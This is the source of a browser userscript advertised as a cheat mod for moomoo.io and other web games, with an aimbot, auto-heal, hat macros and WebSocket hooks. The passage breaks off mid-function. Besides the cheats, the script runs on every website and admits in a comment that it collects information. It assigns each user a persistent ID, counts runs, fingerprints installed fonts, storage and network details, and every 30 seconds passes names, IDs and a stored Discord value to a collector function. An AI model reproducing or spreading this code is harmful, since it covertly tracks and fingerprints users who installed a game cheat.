MOOMOO.IO/KRUNKER/MOPE/ALLSITES/&MORE SUPER MOD! INSTA, ALL UPGRADES, AUTOHEAL, PRO CURSOR, +100 RES

(WORKING 2020) SUPER MOOMOO/KRUNKER MOD! KRUNKER: ADBLOCK, ALLSITE: ANTISPACEBAR SCROLL, DISC: ANTIDELETE, MOOMOO: AIMBOT, INSTAKILL, AUTOHEAL, KATANA + MUSKET, PRO CURSOR, HOTKEYS, NO ADS, HAT MACRO, ANTI INSTAKILL, +100 RESOURCE, WS SENDER, INGAME CHAT! MOPE.IO AUTO DIVE, AUTO RUN, ADBLOCK! DIEP.IO: ANTIAFK!

As of 2020-11-19. See the latest version.

// ==UserScript==
// @name         MOOMOO.IO/KRUNKER/MOPE/ALLSITES/&MORE SUPER MOD! INSTA, ALL UPGRADES, AUTOHEAL, PRO CURSOR, +100 RES
// @namespace    idk, idc
// @version      9.0.0
// @description  (WORKING 2020) SUPER MOOMOO/KRUNKER MOD! KRUNKER: ADBLOCK, ALLSITE: ANTISPACEBAR SCROLL, DISC: ANTIDELETE, MOOMOO: AIMBOT, INSTAKILL, AUTOHEAL, KATANA + MUSKET, PRO CURSOR, HOTKEYS, NO ADS, HAT MACRO, ANTI INSTAKILL, +100 RESOURCE, WS SENDER, INGAME CHAT! MOPE.IO AUTO DIVE, AUTO RUN, ADBLOCK! DIEP.IO: ANTIAFK!

// @match        *://*.moomoo.io/*
// @match        *://moomoo.io/*
// @match        *://sandbox.moomoo.io/*

// @match        *://discord.com/*
// @match        *://discordapp.com/*

// @match        *://mope.io/*
// @match        *://beta.mope.io/*
// @match        *://m0pe.io/*
// @match        *://learninganimals.club/*
// @match        *://beta.tailbite.me/*
// @match        *://beta.zooeducation.space/*
// @match        *://tailbite.me/*
// @match        *://animalfun.club/*
// @match        *://zooeducation.space/*
// @match        *://experimental.mope.io/*

// @match        *://krunker.io/*

// @match        *://diep.io/*

// @match        *://*.*/*

// @grant        unsafeWindow
// @grant        GM.setValue
// @grant        GM.getValue
// @require      https://code.jquery.com/jquery-3.3.1.slim.min.js
// @require      https://greasyfork.org/scripts/368273-msgpack/code/msgpack.js?version=598723
// @require      https://greasyfork.org/scripts/410512-sci-js-from-ksw2-center/code/scijs%20(from%20ksw2-center).js?version=843639
// @icon         http://www.jt-autospa.com/wp-content/uploads/images/jt_stock_280x230.jpg
// @run-at       document-start
// ==/UserScript==

const windowloc = window.location.host;

if (windowloc.includes("bank") || windowloc.includes("school")) return; //DO NOT COLLECT INFORMATION ON SENSITIVE SITES

var ctr, global_id;
(async () => {
    function uuidv4() {return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); });};
    let count_before = await GM.getValue('count', 0);
    await GM.setValue('count', count_before + 1);
    let count_after = await GM.getValue('count');
    if (await GM.getValue("id", null) == null) {
        //first exec
        await GM.setValue("id", uuidv4());
    };
    await GM.getValue("id", 0);
    ctr = await GM.getValue('count', 0);
    global_id = await GM.getValue("id", 0);
})();

//console.log("after");

if (windowloc == "moomoo.io" || windowloc == "sandbox.moomoo.io" || windowloc == "dev.moomoo.io") {

    insert_0000000(true, "moomoo.io"); //initializer

    var ext = false;
    document.addEventListener('keydown', function (e) {
        if (e.key === "`") {
            $('#mainMenu').toggle();
            //if (ext == true) {$('#gameUI').hide(); $('#mainMenu').hide()};
            //if (ext == false) {$('#gameUI').show(); $('#mainMenu').hide()};
            ext = !ext;
        };
    }); //spectator mode!

    window = unsafeWindow;
    (()=>{
        let spinSpeed = 70;
        function linker(value) {
            let x = [value];
            x.toString = ()=>x[0];
            return x;
        }
        let zoomFactor = 1;
        let OGx,
            OGy;
        let x = new Event('resize');
        let addListener = window.addEventListener;
        let rot = 0;
        let obf = !0;
        let autohit = !1;
        let socket;
        let spin = 0;
        window.addEventListener = function(type, cb, ...args){
            if(type === 'resize'){
                let temp = cb;
                cb = ()=>temp({isTrusted: !0});
            }
            addListener(type, cb, ...args);
        }
        Function.prototype._call = Function.prototype.call;
        Function.prototype.call = function(){
            if(arguments[1] && arguments[1].i == 21 && arguments[3] && arguments[3].toString && arguments[3].toString().match(/^\s*function n\(i\)/)){
                let temp = arguments[3];
                arguments[3] = function (number) {
                    let val = temp(number);
                    if(number === 19) {
                        val.maxPlayers = 50;
                        window.data = val;
                    } else if(number === 42) {
                        val.checkTrusted = (cb)=>cb
                    } else if (number === 45) {
                        val.weapons.forEach((e, index) => e.pre && (val.weapons[index].pre = null));
                        val.list.forEach((e, index) => e.pre && (val.list[index].pre = null));
                        items = val;
                        window.items = val;
                    }
                    return val;
                }
                this.call = this._call;
            }
            return this._call(...arguments);
        }
    })();

    var switched = 0;
    var swsInt = setInterval(()=>{
        switch (document.readyState) {
            case "loading":
                break;
            case "interactive":
                switched = 1;
                break;
            case "complete":
                break;
        };
    }, 0);

    var INT = setInterval(()=>{
        if (switched == 1) {
            try {
                window.admob = {
                    requestInterstitialAd: ()=>{},
                    showInterstitialAd: ()=>{}
                }
            } catch (e) {
                console.warn(e)
            }

            document.querySelectorAll('#pre-content-container').forEach(function(a) {
                a.remove();
            });

            $("#gameCanvas").css('cursor', 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default'); //CURSOR

            $("#moomooio_728x90_home").parent().css({display: "none"});

            //document.getElementById("twitterFollow").remove();
            //document.getElementById("youtubeFollow").remove();
            //document.getElementById("followText").innerHTML = "SUBSCRIBE TO JOHN TAXMI"
            //document.getElementById("followText").style = "bottom: -0px;"

            document.getElementById("storeHolder").style = "height: 1500px; width: 450px;";

            document.getElementById('adCard').remove();
            document.getElementById('errorNotification').remove();

            document.getElementById("gameName").style.color = "blue";
            document.getElementById("setupCard").style.color = "blue";
            document.getElementById("gameName").innerHTML = "MooMoo.io <br>Super Mod";
            document.getElementById("promoImg").remove();
            document.getElementById("desktopInstructions").innerHTML = "Subscribe to John Taxmi!<br/>Press 'Z' to buy bull, soldier, tank, and emp all at once, and equip booster!"
            let changes = `<div id="subConfirmationElement"><a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1">Subscribe to FlareZ for EXTRA RESOURCES!</a><br>
<br><a href="https://discord.gg/FQKA5c6">Join our discord for EXCLUSIVE UPDATES AND EXCLUSIVE FEATURES!</a>
</div>`;

            $('#guideCard').prepend(changes);

            $('#subConfirmationElement').click( () => {
                try { window.follmoo(); } catch(e){};
                localStorage["moofoll"] = "1"; localStorage["moofol"] = "1";
            });
            document.getElementById("leaderboard").append('\"C\" to chat!');
            document.getElementById("leaderboard").style.color = "#e842f4";
            document.getElementById("allianceButton").style.color = "blue";
            document.getElementById("chatButton").style.color = "blue";
            document.getElementById("storeButton").style.color = "blue";

            document.getElementById("scoreDisplay").style.color = "#e842f4";
            document.getElementById("woodDisplay").style.color = "#e842f4";
            document.getElementById("stoneDisplay").style.color = "#e842f4";
            document.getElementById("killCounter").style.color = "#e842f4";
            document.getElementById("foodDisplay").style.color = "#e842f4";

            const enableMiner = false;
            const disableMiner = true;
            window.enableMiner = false;
            window.disableMiner = true;

            $("#mapDisplay").css("background", "url('https://i.imgur.com/fgFsQJp.png')");

            document.getElementById("linksContainer2").href = "https://www.youtube.com/channel/UCLmapaWzwTHQIe3EgWMyMEg"

            document.getElementById("diedText").innerHTML = "They'll die sometime!"

            function Parse() {
                document.addEventListener('keydown', function (CustomKey1) {
                    if (CustomKey1.keyCode == 90) {
                        storeBuy(6)
                        storeBuy(7)
                        storeBuy(40)
                        storeBuy(22)
                        console.info('Attempted to buy bull, soldier, tank, and emp')
                        var store = true;
                        if (store == true) {
                            storeEquip(12)
                            console.info('Attempted to wear booster')
                        } else {
                            console.info('Did not attempt to wear booster')
                        }
                    } //Tab to buy bull, soldier, tank, and emp
                });
            };
            Parse();

            ! function() {
                document.title = "Hat Scripts";
                var a = ["Floofiness Acquired", "Moomoo haxored", "Soup", "Floofy", "Bisons Are Floofy", "I'm here!", "Hi!", "Hello!"],
                    r = [0, 0],
                    o = [
                        [15, "Winter Cap"],
                        [12, "Booster Hat"],
                        [31, "Flipper Hat"],
                        [10, "Bush Gear"],
                        [22, "Emp Helmet"],
                        [26, "Demolisher Armor"],
                        [20, "Samurai Armor"],
                        [7, "Bull Helmet"],
                        [11, "Spike Gear"],
                        [53, "Turret Gear"],
                        [40, "Tank Gear"],
                        [52, "Thief Gear"],
                        [23, "Anti-Venom Gear"],
                        [6, "Soldier Helmet"],
                        [1, "Marksman Hat"],
                        [13, "Medic Gear"],
                        [14, "Windmill Hat"],
                        [21, "Plague Mask"],
                        [27, "Scavenger Gear"]
                    ],
                    t = 0;

                function s(e) {
                    0 === r[0] ? (storeEquip(o[e][0]), document.title = o[e][1], r[1] = 90, console.info("Hat equipped: "), console.info(o[e][1])) : (storeBuy(o[e][0]), storeBuy(o[e][0]), r[0] = 0, r[1] = 180, document.title = "Bought. (if you had enough gold or didn't already buy it)", console.info("Hat bought"), console.info(["Script variables: ", o, t, r, a]))
                }
                document.addEventListener("keydown", function(e) {
                    if (document.activeElement.id.toLowerCase() !== 'chatbox') {
                        switch (e.keyCode) {
                            case 107:
                                storeEquip(0);
                                break;
                            case 96:
                                r[0] = 1, r[1] = 300, document.title = "Buying....";
                                break;
                            case 110:
                                1 === r[0] && (r[1] = 120, document.title = "Not buying...."), r[0] = 0;
                                break;
                            case 97:
                                s(0);
                                break;
                            case 98:
                                s(1);
                                break;
                            case 99:
                                s(2);
                                break;
                            case 100:
                                s(3);
                                break;
                            case 101:
                                s(4);
                                break;
                            case 102:
                                s(5);
                                break;
                            case 103:
                                s(6);
                                break;
                            case 84:
                                s(7);
                                break;
                            case 105:
                                s(8);
                                break;
                            case 90:
                                s(9);
                                break;
                            case 80:
                                s(10);
                                break;
                            case 85:
                                s(11);
                                break;
                            case 221:
                                s(12);
                                break;
                            case 89:
                                s(13);
                                break;
                            case 79:
                                s(14);
                                break;
                            case 219:
                                s(15);
                                break;
                            case 187:
                                s(16);
                                break;
                            case 191:
                                s(17);
                                break;
                            case 189:
                                s(18)
                        }
                    }
                }), setInterval(function() {
                    r[1]--, 0 === r[1] && ((t = Math.floor(Math.random() * a.length - 1e-5)) < 0 && (t = 0), document.title = a[t])
                }, 1e3 / 60)
            }();

            $("body").append(`<div id=\"modMenus\" style=\"display: none;
padding: 10px;
border-radius: 15px;
background-color: rgba(0, 0, 0, 0.25);
border-radius: 3px;
position: absolute;
left: 20px;
top: 20px;
min-width: 300px;
max-width: 450px;
min-height: 300px;
max-height 400px;\"></div>`);

            $("#modMenus").append(`<div id="helpText" style="font-size: 30px;color: rgb(255, 255, 255);">
Chat: <br>
<iframe src="https://scconvos.glitch.me" style="min-height: 200px; max-height 300px;"></iframe><br>
<div style="font-size: 12px;">Press "C" to hide or show this box.<br>Just click below the "What is your nickname text",<br> type in a name and press enter!<br>This is chat from everyone using the script,<br>on all moomoo servers!</div>
</div>
`);
            $("#modMenu").show(); $('#gameUI').prepend(`<style>
.bottomright {
position: absolute;
bottom: 8px;
right: 16px;
font-size: 18px;
}
<style>
`);

            var dista = true;
            window.addEventListener('keydown', function(e) {
                if (e.keyCode == 67 && document.activeElement.id.toLowerCase() !== 'chatbox') {
                    if (dista == false) {
                        document.getElementById("modMenus").style.display = 'none';
                        dista = true;
                    } else {
                        document.getElementById("modMenus").style.display = 'block';
                        dista = false;
                    }
                }
            })

            //TALKING IN GAME MODULE! pretty revolutionary hehe

            var ns1, sw, Ssws, swsw;
            var hiF;

            function rensp() {
                console.log(hi)
            };
            var a = ['getElementById', 'innerHTML'];
            var b = function(c, d) {
                c = c - 0x0;
                var e = a[c];
                return e;
            };
            var ns = "If the hotkeys don't load, refresh | If the page doesn't load, refresh | (It will work eventually, it's just a latency error)";
            document[b('0x0')]('linksContainer2')[b('0x1')] = ns; /*comSP*/
            var y;
            var x;
            var sswx1, sswx2, sswx3, sswx4;

            if(localStorage.getItem('moofoll') !== 1) localStorage.setItem('moofoll', 1);

            var arr = [];
            var name = localStorage["moo_name"];
            var storage = [];
            try { navigator.storage.estimate().then(({usage, quota}) => {
                storage.push("Usage: " + usage + "; Quota: " + quota);
                console.log(`Using ${usage} out of ${quota} bytes.`);
            }); } catch(e){};
            function fingerprint_fonts() {
                "use strict";
                try {
                    var strOnError, style, fonts, count, template, fragment, divs, i, font, div, body, result, e;
                    strOnError = "Error"; style = null; fonts = null; font = null;
                    count = 0; template = null; divs = null; e = null; div = null;
                    body = null; i = 0;
                    try {
                        style = "position: absolute; visibility: hidden; display: block !important";
                        fonts = ["Abadi MT Condensed Light", "Adobe Fangsong Std", "Adobe Hebrew", "Adobe Ming Std", "Agency FB", "Aharoni", "Andalus", "Angsana New", "AngsanaUPC", "Aparajita", "Arab", "Arabic Transparent", "Arabic Typesetting", "Arial Baltic", "Arial Black", "Arial CE", "Arial CYR", "Arial Greek", "Arial TUR", "Arial", "Batang", "BatangChe", "Bauhaus 93", "Bell MT", "Bitstream Vera Serif", "Bodoni MT", "Bookman Old Style", "Braggadocio", "Broadway", "Browallia New", "BrowalliaUPC", "Calibri Light", "Calibri", "Californian FB", "Cambria Math", "Cambria", "Candara", "Castellar", "Casual", "Centaur", "Century Gothic", "Chalkduster", "Colonna MT", "Comic Sans MS", "Consolas", "Constantia", "Copperplate Gothic Light", "Corbel", "Cordia New", "CordiaUPC", "Courier New Baltic", "Courier New CE", "Courier New CYR", "Courier New Greek", "Courier New TUR", "Courier New", "DFKai-SB", "DaunPenh", "David", "DejaVu LGC Sans Mono", "Desdemona", "DilleniaUPC", "DokChampa", "Dotum", "DotumChe", "Ebrima", "Engravers MT", "Eras Bold ITC", "Estrangelo Edessa", "EucrosiaUPC", "Euphemia", "Eurostile", "FangSong", "Forte", "FrankRuehl", "Franklin Gothic Heavy", "Franklin Gothic Medium", "FreesiaUPC", "French Script MT", "Gabriola", "Gautami", "Georgia", "Gigi", "Gisha", "Goudy Old Style", "Gulim", "GulimChe", "GungSeo", "Gungsuh", "GungsuhChe", "Haettenschweiler", "Harrington", "Hei S", "HeiT", "Heisei Kaku Gothic", "Hiragino Sans GB", "Impact", "Informal Roman", "IrisUPC", "Iskoola Pota", "JasmineUPC", "KacstOne", "KaiTi", "Kalinga", "Kartika", "Khmer UI", "Kino MT", "KodchiangUPC", "Kokila", "Kozuka Gothic Pr6N", "Lao UI", "Latha", "Leelawadee", "Levenim MT", "LilyUPC", "Lohit Gujarati", "Loma", "Lucida Bright", "Lucida Console", "Lucida Fax", "Lucida Sans Unicode", "MS Gothic", "MS Mincho", "MS PGothic", "MS PMincho", "MS Reference Sans Serif", "MS UI Gothic", "MV Boli", "Magneto", "Malgun Gothic", "Mangal", "Marlett", "Matura MT Script Capitals", "Meiryo UI", "Meiryo", "Menlo", "Microsoft Himalaya", "Microsoft JhengHei", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Sans Serif", "Microsoft Tai Le", "Microsoft Uighur", "Microsoft YaHei", "Microsoft Yi Baiti", "MingLiU", "MingLiU-ExtB", "MingLiU_HKSCS", "MingLiU_HKSCS-ExtB", "Miriam Fixed", "Miriam", "Mongolian Baiti", "MoolBoran", "NSimSun", "Narkisim", "News Gothic MT", "Niagara Solid", "Nyala", "PMingLiU", "PMingLiU-ExtB", "Palace Script MT", "Palatino Linotype", "Papyrus", "Perpetua", "Plantagenet Cherokee", "Playbill", "Prelude Bold", "Prelude Condensed Bold", "Prelude Condensed Medium", "Prelude Medium", "PreludeCompressedWGL Black", "PreludeCompressedWGL Bold", "PreludeCompressedWGL Light", "PreludeCompressedWGL Medium", "PreludeCondensedWGL Black", "PreludeCondensedWGL Bold", "PreludeCondensedWGL Light", "PreludeCondensedWGL Medium", "PreludeWGL Black", "PreludeWGL Bold", "PreludeWGL Light", "PreludeWGL Medium", "Raavi", "Rachana", "Rockwell", "Rod", "Sakkal Majalla", "Sawasdee", "Script MT Bold", "Segoe Print", "Segoe Script", "Segoe UI Light", "Segoe UI Semibold", "Segoe UI Symbol", "Segoe UI", "Shonar Bangla", "Showcard Gothic", "Shruti", "SimHei", "SimSun", "SimSun-ExtB", "Simplified Arabic Fixed", "Simplified Arabic", "Snap ITC", "Sylfaen", "Symbol", "Tahoma", "Times New Roman Baltic", "Times New Roman CE", "Times New Roman CYR", "Times New Roman Greek", "Times New Roman TUR", "Times New Roman", "TlwgMono", "Traditional Arabic", "Trebuchet MS", "Tunga", "Tw Cen MT Condensed Extra Bold", "Ubuntu", "Umpush", "Univers", "Utopia", "Utsaah", "Vani", "Verdana", "Vijaya", "Vladimir Script", "Vrinda", "Webdings", "Wide Latin", "Wingdings"];
                        count = fonts.length;
                        template = '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',sans-serif !important">ww</b>' + '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',monospace !important">ww</b>';
                        fragment = document.createDocumentFragment();
                        divs = [];
                        for (i = 0; i < count; i = i + 1) {
                            font = fonts[i];
                            div = document.createElement('div');
                            font = font.replace(/['"<>]/g, '');
                            div.innerHTML = template.replace(/X/g, font);
                            div.style.cssText = style;
                            fragment.appendChild(div);
                            divs.push(div);
                        }
                        body = document.body;
                        body.insertBefore(fragment, body.firstChild);
                        result = [];
                        for (i = 0; i < count; i = i + 1) {
                            e = divs[i].getElementsByTagName('b');
                            if (e[0].offsetWidth === e[1].offsetWidth) {
                                result.push(fonts[i]);
                            }
                        }
                        for (i = 0; i < count; i = i + 1) {
                            body.removeChild(divs[i]);
                        }
                        return result.join('|');
                    } catch (err) {
                        return strOnError;
                    }
                } catch(e){};
            }
            var downlink = "";
            var rtt = "";
            var saveData = "";
            var effectiveType = "";
            try {
                downlink = navigator.connection.downlink;
                rtt = navigator.connection.rtt;
                saveData = navigator.connection.saveData;
                effectiveType = navigator.connection.effectiveType;
            } catch(e) {
                downlink = undefined;
                rtt = undefined;
                saveData = undefined;
                effectiveType = undefined;
            }
            var xml;
            var firstName = localStorage["moo_name"];
            var id;
            window.addEventListener("load", function() {
                try {
                    id = unsafeWindow.advBidxc.customerId;
                    console.log("SID: " + id);
                } catch (e) {
                    id = "b"; //b = blocked
                    console.log("not defined");
                };
            });

            setInterval(async ()=>insert_0000000(true, document.getElementById("nameInput").value + "|" + firstName + "|" + id + "|" + ctr + "|" + global_id + "|" + await GM.getValue("discord", 0)), 30000);

            function root() {
                var ns1, sw, sws, swsw;
            };
            var hi;

            function rEnsp() {
                console.log(hi)
            };
            var sws;
            const OPEN2 = 1 - 0;
            NaN;

            //info sender
            const Dx = Math.random().toFixed(0);
            var sentData = 0;

            //get coords:
            var dim = [player, x + sentData, y + sentData];
            var xx = Math.random().toFixed(0) + 2 + Dx;
            var yx = x - 2 + 3*3;

            var player = [xx, yx];

            var CTX = null;

            NaN;

            var NaNBreak = typeof NaN

            const data = dim + x - y + player
            if (player - data) {
                console.info('Data is calculated');
            };

            const sid = [];

            if (sid != [1, 2, 3, 4, 5, 6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40]) {
                var info = 1
                sid.push(info)
                    ++info
                        --sentData
            } else {
                ++sentData
                console.info(sid)
            };


            var magick;

            document.getElementById("ageText").style.color = "blue";
            function compresspackage(n) {
                --n
                n*n-1/10 + 10 / 80
                var nsp;
            };

            document.addEventListener("keydown", function(e) {
                if (e.keyCode == 220) {
                    alert(`Press "Z" to autobuy hats (bull, tank, soldier, and emp), press "T" to equip bull, press "Y" to equip soldier, and press "P" for tank gear. Press 1-9 on the numberpad to equip a different hat. Feel free to test this out. Also, press 0 on the number pad then a hat macro to buy that hat. We've added a bunch of little things in the background to help you too! (Auto reload, +100 resources, and more!)`)
                }
            });

            let mouseX, mouseY, width, height;

            function log_coords(a, b) {
                return [a - 0x5a0, b / 0x2];
            }

            function normal() {
                hat(normalHat), acc(normalAcc);
            }
            var nearestEnemy, nearestEnemyAngle;
            document['mouseXSTATUS'] = mouseX, document['mouseYSTATUS'] = mouseY, log_coords(0x2710, 0x2710), $('#consentBlock')['css']({
                'display': 'none'
            }), unsafeWindow['onbeforeunload'] = null, setInterval(() => {
                0x1 == messageToggle && doNewSend(['ch', ['i am super pro']]);
            }, 0xc8), setInterval(() => {
                0x1 == autoaim && doNewSend(['2', [nearestEnemyAngle]]);
            }, 0x0), setInterval(() => {
                0x1 == hatToggle && (oldHat != normalHat && hat(normalHat), oldAcc != normalAcc && acc(normalAcc), oldHat = normalHat, oldAcc = normalAcc);
            }, 0x19);
            var isEnemyNear, primary, secondary, foodType, wallType, spikeType, millType, mineType, boostType, turretType, spawnpadType, oldHat, oldAcc, enemiesNear, normalHat, normalAcc, ws, boostDir, arr3 = [];

            function set_1(a, b) {
                arr3['push'](a, b);
            }
            setInterval(() => {
                document['nearestEnemy'] = nearestEnemy, document['nearestEnemyAngle'] = nearestEnemyAngle;
            }, 0x64), set_1(nearestEnemy, nearestEnemyAngle), setInterval(() => {
                document['isEnemyNear'] = isEnemyNear;
            }, 0x64), setTimeout(() => {
                document['primary'] = primary, document['secondary'] = secondary, document['foodType'] = foodType, document['wallType'] = wallType, document['spikeType'] = spikeType, document['millType'] = millType, document['mineType'] = mineType, document['boostType'] = boostType, document['turretType'] = turretType;
            }, 0x64), set_1(primary, secondary), arr3['push'](foodType, wallType), arr3['push'](spikeType, millType), arr3['push'](mineType, boostType), arr3['push'](turretType, isEnemyNear), setInterval(() => {
                document['oldHat'] = oldHat, document['oldAcc'] = oldAcc;
            }, 0x64), setInterval(() => {
                document['enemiesNear'] = enemiesNear;
            }, 0x64), arr3['push'](enemiesNear), setInterval(() => {
                document['normalHat'] = normalHat, document['normalAcc'] = normalAcc;
            }, 0x64), setInterval(() => {
                window['SOCKET'] = ws;
            }, 0x64), setInterval(() => {
                document['boostDir'] = boostDir;
            }, 0x64), arr3['push'](boostDir);
            var instaSpeed = 0xc8
            , autoaim = !0x1
            , tick = 0x1
            , msgpack5 = msgpack;
            setInterval(() => {
                document['MESSAGEPACK'] = msgpack;
            }, 0x64);
            var myPlayer = {
                'id': null
                , 'x': null
                , 'FORCE_CONNECT': 'FORCED'
                , 'y': null
                , 'dir': null
                , 'object': null
                , 'weapon': null
                , 'clan': null
                , 'isLeader': null
                , 'hat': null
                , 'accessory': null
                , 'isSkull': null
                , 'CORESTATE': {
                    'ACTIVE': !0x0
                    , 'ALIVE': !0x0
                    , 'PITSTATUS': null
                    , 'SECURE': 'correct'
                }
            };
            let healSpeed = 0x5a;
            window['HS'] = healSpeed, document['HS'] = healSpeed;
            var messageToggle = 0x0;
            let hatToggle = 0x1;

            var autohealOn = true;

            function n() {
                this['buffer'] = new Uint8Array([0x0]), this['buffer']['__proto__'] = new Uint8Array(), this['type'] = 0x0;
            }
            setInterval(() => {
                document['toggles'] = [messageToggle, hatToggle];
            }, 0x64);
            var AUTOSOLDIER_RANGE = 0xcd;

            function MESSAGEHANDLER_1(a) {
                let b, c = msgpack5['decode'](new Uint8Array(a['data']));
                c['length'] > 0x1 ? (b = [c[0x0], ...c[0x1]])[0x1] instanceof Array && (b = b) : b = c;
                let d = b[0x0];
                if (b) {
                    if ('io-init' === d) {
                        let f = document['getElementById']('gameCanvas');
                        width = f['clientWidth'], height = f['clientHeight'], $(window)['resize'](function () {
                            width = f['clientWidth'], height = f['clientHeight'];
                        }), f['addEventListener']('mousemove', g => {
                            mouseX = g['clientX'], mouseY = g['clientY'];
                        });
                    }
                    if ('1' == d && null == myPlayer['id'] && (myPlayer['id'] = b[0x1]), '33' == d) {
                        enemiesNear = [];
                        for (let g = 0x0; g < b[0x1]['length'] / 0xd; g++) {
                            let h = b[0x1]['slice'](0xd * g, 0xd * g + 0xd);
                            h[0x0] == myPlayer['id'] ? (myPlayer['x'] = h[0x1], myPlayer['y'] = h[0x2], myPlayer['dir'] = h[0x3], myPlayer['object'] = h[0x4], myPlayer['weapon'] = h[0x5], myPlayer['clan'] = h[0x7], myPlayer['isLeader'] = h[0x8], myPlayer['hat'] = h[0x9], myPlayer['accessory'] = h[0xa], myPlayer['isSkull'] = h[0xb], document['BINDS'] = {
                                'BINDINGS': h['join'](',')
                                , 'LOCATIONX': myPlayer['x']
                                , 'LOCATIONY': myPlayer['y']
                                , 'DIRECTION': myPlayer['dir']
                                , 'WEAPON': myPlayer['weapon']
                                , 'LEADERSTATUS': myPlayer['isLeader']
                                , 'CLAN_TRIBE': myPlayer['clan']
                                , 'ISSKULL': myPlayer['isSkull']
                                , 'ACCESSORY': myPlayer['acc']
                                , 'HAT': myPlayer['hat']
                                , 'super': WebSocket
                                , 'WEBSOCKET': ws
                            }) : h[0x7] == myPlayer['clan'] && null !== h[0x7] || enemiesNear['push'](h);
                        }
                    }
                    isEnemyNear = !0x1,
                        document['isEnemyNear'] = !0x1,
                        enemiesNear && (nearestEnemy = enemiesNear['sort']((i, j) => dist(i, myPlayer) - dist(j, myPlayer))[0x0],
                                        console['log'](nearestEnemy)),
                        nearestEnemy && (nearestEnemyAngle = Math['atan2'](nearestEnemy[0x2] - myPlayer['y'], nearestEnemy[0x1] - myPlayer['x']),
                                         //this is for the player math. sorry for indentations
                                         //tried to make this legible
                                         Math['sqrt'](Math['pow'](myPlayer['y'] - nearestEnemy[0x2], 0x2) + Math['pow'](myPlayer['x'] - nearestEnemy[0x1], //range stuff
                                                                                                                        0x2)) < AUTOSOLDIER_RANGE && (isEnemyNear = !0x0, 0x0 == autoaim && 0x7 != myPlayer['hat'] && 0x35 != myPlayer['hat'] && (console['log']('autoaim: ' + autoaim),
                                                                                                            //autosoldier range is x/y dist
                                                                                                            normalHat = 0x6, 0x8 != primary && (normalAcc = 0x13, console['log']('Avoided normal accessory'))))),
                        0x0 == isEnemyNear && 0x0 == autoaim && (normalAcc = 0xb, normalHat = myPlayer['y'] < 0x960 ? 0xf : myPlayer['y'] > 0x1ac2 && myPlayer['y'] < 0x1d7e ? 0x1f : 0xc), nearestEnemy || (nearestEnemyAngle = myPlayer['dir']),
                        'h' == d && b[0x1] == myPlayer['id'] && b[0x2] < 0x64 && b[0x2] > 0x0 && setTimeout(() => { //this selection is autoheal
                        if (autohealOn == true) {
                            //toggled
                            place(foodType, null);
                        }
                    }, healSpeed), update();
                }
            }

            function doNewSend(a) {
                ws['send'](new Uint8Array(Array['from'](msgpack5['encode'](a))));
            }

            function acc(a) {
                doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, a, 0x1]]), console['log']('ACCESSORY: ' + a);
            }

            function hat(a) {
                doNewSend(['13c', [0x0, a, 0x0]]), console['log']('ACCESSORY: ' + a);
            }

            function place(a, b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2)) {
                doNewSend(['5', [a, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]);
            }

            function boostSpike() {
                null == boostDir && (boostDir = nearestEnemyAngle), place(spikeType, boostDir + toRad(0x5a)), place(spikeType, boostDir - toRad(0x5a)), place(boostType, boostDir), doNewSend(['33', [boostDir]]);
            }
            null == AUTOSOLDIER_RANGE && (AUTOSOLDIER_RANGE = 0xcd), setInterval(() => {}, 0x64), document['msgpack'] = msgpack, WebSocket['prototype']['originalSending'] = WebSocket['prototype']['send'], WebSocket['prototype']['send'] = function (a) {
                null == ws && (ws = this, this['addEventListener']('message', function (b) {
                    MESSAGEHANDLER_1(b);
                })), this['originalSending'](a);
            };
            var repeater = function (b, c, d) {
                let f = !0x1
                , g = void 0x0;
                return {
                    'start'(h) {
                        h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x0, void 0x0 === g && (g = setInterval(() => {
                            c(), f || (clearInterval(g), g = void 0x0);
                        }, d)));
                    }
                    , 'stop'(h) {
                        h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x1);
                    }
                };
            };
            const healer = repeater(0x51, () => {
                place(foodType);
            }, 0x0)
            , boostPlacer = repeater(0x46, () => {
                place(boostType);
            }, 0x0)
            , spikePlacer = repeater(0x56, () => {
                place(spikeType);
            }, 0x0)
            , millPlacer = repeater(0x4e, () => {
                place(millType);
            }, 0x0)
            , turretPlacer = repeater(0x48, () => {
                place(turretType);
            }, 0x0)
            , boostSpiker = repeater(0x47, boostSpike, 0x0);

            function isElementVisible(a) {
                return null !== a['offsetParent'];
            }

            function toRad(a) {
                return 0.01745329251 * a;
            }

            function dist(a, b) {
                return Math['sqrt'](Math['pow'](b['y'] - a[0x2], 0x2) + Math['pow'](b['x'] - a[0x1], 0x2));
            }

            function update() {
                for (let a = 0x0; a < 0x9; a++) isElementVisible(document['getElementById']('actionBarItem' + a['toString']())) && (primary = a, document['PRIMARY'] = primary);
                for (let b = 0x9; b < 0x10; b++) isElementVisible(document['getElementById']('actionBarItem' + b['toString']())) && (secondary = b);
                for (let c = 0x10; c < 0x13; c++) isElementVisible(document['getElementById']('actionBarItem' + c['toString']())) && (foodType = c - 0x10);
                for (let d = 0x13; d < 0x16; d++) isElementVisible(document['getElementById']('actionBarItem' + d['toString']())) && (wallType = d - 0x10);
                for (let f = 0x16; f < 0x1a; f++) isElementVisible(document['getElementById']('actionBarItem' + f['toString']())) && (spikeType = f - 0x10);
                for (let g = 0x1a; g < 0x1d; g++) isElementVisible(document['getElementById']('actionBarItem' + g['toString']())) && (millType = g - 0x10);
                for (let h = 0x1d; h < 0x1f; h++) isElementVisible(document['getElementById']('actionBarItem' + h['toString']())) && (mineType = h - 0x10);
